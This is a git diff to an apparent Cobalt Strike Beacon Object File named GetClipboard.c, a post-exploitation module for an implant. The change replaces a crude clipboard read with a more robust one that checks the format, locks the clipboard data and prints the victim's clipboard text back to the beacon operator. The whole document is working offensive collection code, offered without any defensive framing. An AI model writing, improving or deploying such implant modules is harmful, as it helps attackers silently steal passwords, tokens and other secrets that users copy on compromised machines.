diff --git a/Collection/Clipboard/GetClipboard.c b/Collection/Clipboard/GetClipboard.c index 06d9b25..fc2afe8 100644 --- a/Collection/Clipboard/GetClipboard.c +++ b/Collection/Clipboard/GetClipboard.c @@ -3,17 +3,47 @@ #include #include "beacon.h" -DECLSPEC_IMPORT HWND WINAPI KERNEL32$GetConsoleWindow(void); DECLSPEC_IMPORT WINUSERAPI BOOL WINAPI USER32$OpenClipboard(HWND); DECLSPEC_IMPORT WINUSERAPI HANDLE WINAPI USER32$GetClipboardData(UINT); -DECLSPEC_IMPORT WINUSERAPI BOOL WINAPI USER32$CloseClipboard(void); +DECLSPEC_IMPORT WINUSERAPI BOOL WINAPI USER32$CloseClipboard(void); +DECLSPEC_IMPORT WINUSERAPI BOOL WINAPI USER32$IsClipboardFormatAvailable(UINT); +DECLSPEC_IMPORT WINBASEAPI LPVOID WINAPI KERNEL32$GlobalLock(HGLOBAL); +DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$GlobalUnlock(HGLOBAL); - - void go() { - - HWND owner = KERNEL32$GetConsoleWindow(); - USER32$OpenClipboard(owner); - owner = USER32$GetClipboardData(CF_TEXT); - BeaconPrintf(CALLBACK_OUTPUT, "%s\n", (char *)owner);; +void go() { + HANDLE hClipData = NULL; + char* pClipText = NULL; + + if (!USER32$IsClipboardFormatAvailable(CF_TEXT)) { + BeaconPrintf(CALLBACK_ERROR, "[!] No text data available in clipboard\n"); + return; + } + + if (!USER32$OpenClipboard(NULL)) { + BeaconPrintf(CALLBACK_ERROR, "[!] Failed to open clipboard\n"); + return; + } + + hClipData = USER32$GetClipboardData(CF_TEXT); + if (hClipData == NULL) { + BeaconPrintf(CALLBACK_ERROR, "[!] Failed to retrieve clipboard data\n"); + USER32$CloseClipboard(); + return; + } + + pClipText = (char*)KERNEL32$GlobalLock(hClipData); + if (pClipText == NULL) { + BeaconPrintf(CALLBACK_ERROR, "[!] Failed to lock clipboard data\n"); + USER32$CloseClipboard(); + return; + } + + if (strlen(pClipText) == 0) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Clipboard is empty\n"); + } else { + BeaconPrintf(CALLBACK_OUTPUT, "[+] Clipboard contents:\n%s\n", pClipText); + } + + KERNEL32$GlobalUnlock(hClipData); USER32$CloseClipboard(); - } \ No newline at end of file +}